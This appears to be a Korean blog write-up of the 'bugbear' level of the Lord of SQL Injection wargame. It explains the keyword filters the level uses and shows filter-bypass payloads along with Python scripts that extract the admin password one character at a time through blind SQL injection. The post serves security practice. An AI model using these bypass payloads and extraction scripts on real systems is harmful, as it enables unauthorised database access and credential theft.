일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 김성엽 대표님
- document
- 백준 파이썬
- 파이썬
- jQuery
- element 조회
- Pwndbg
- 백준 알고리즘
- 배열
- blind sql injection
- 메소드
- object
- 포인터
- xss game
- sql injection
- 객체
- 조건문
- 자바스크립트
- suninatas 풀이
- lord of sql injection
- xss game 풀이
- 사칙연산
- 함수
- python
- IF문
- github
- burp suite
- htmlspecialchars
- property
- window
Archives
- Today
- Total
power-girl0-0
[ Los ] bugbear 본문
728x90
주소 : https://los.rubiya.kr/
[ 문제 ]
[ 풀이 ]
바로 이전 문제와 같이 no를 이용해서 pw를 유추하는 문제이다.
pw에서 '(싱글쿼터)를 차단하고 있기 때문이다.
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
no에서는 '(싱글쿼터), substr, ascii, =, or, and, (공백), like, 0x를 차단하고 있다.
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
이전 문제와 달리 좀 더 강하게 추가되었다.
like 대신 in연산자를 이용하여, id="admin"을 입력해보자.
또한, 공백은 주석처리인 /**/로 대체해보자.
?no=1/**/||id/**/in/**/("admin")%23 |
확인 결과, "Hello admin"이 출력되는 것을 확인할 수 있다.
이는 Blind Sql injection이 가능하다는 뜻이다.
해당 문제에서도 데이터베이스 pw와 입력한 pw값이 일치하면, 풀리는 문제이다.
따라서 pw를 이전과 같이 유추해보자.
비밀번호 길이를 유추해보자.
import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
cookies={'PHPSESSID':'fh0624b017oortqajeeu7ae886'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/in/**/(\"{}\")/**/#".format(len_pw)
params={'no':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
password_length()
웹페이지에서 확인해보면, 아래와 같다.
길이 구한 것을 이용하여, 비밀번호를 유추해보자.
여기서 주의할 점은, ascii함수를 대체했던 ord함수 사용이 불가능하다.
페이지에서 or을 차단하고 있기 때문이다.
그래서 ascii( )와 ord( )를 hex( )로 대체하였다.
import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
cookies={'PHPSESSID':'자신의 세션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/in/**/(\"{}\")/**/#".format(len_pw)
params={'no':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
def find_pw(len_pw):
pw=''
for i in range(1,len_pw+1):
print(i,"번째 찾는 중")
for j in range(48,122):
value = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/hex(mid(pw,{},1))/**/in/**/(hex({}))/**/#".format(i,j)
params={"no":value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
pw+=chr(j)
print("password : ",pw)
break
find_pw(password_length())
구한 password값을 pw에 넣어보면, 문제가 Clear된다.
CLEAR!!
728x90
'War game > Lord of SQL Injection' 카테고리의 다른 글
[ Los ] giant (0) | 2021.03.22 |
---|---|
[ Los ] darkknight (0) | 2021.03.22 |
[ Los ] golem (0) | 2021.03.22 |
[ Los ] skeleton (0) | 2021.03.21 |
[ Los ] vampire (0) | 2021.03.21 |
Comments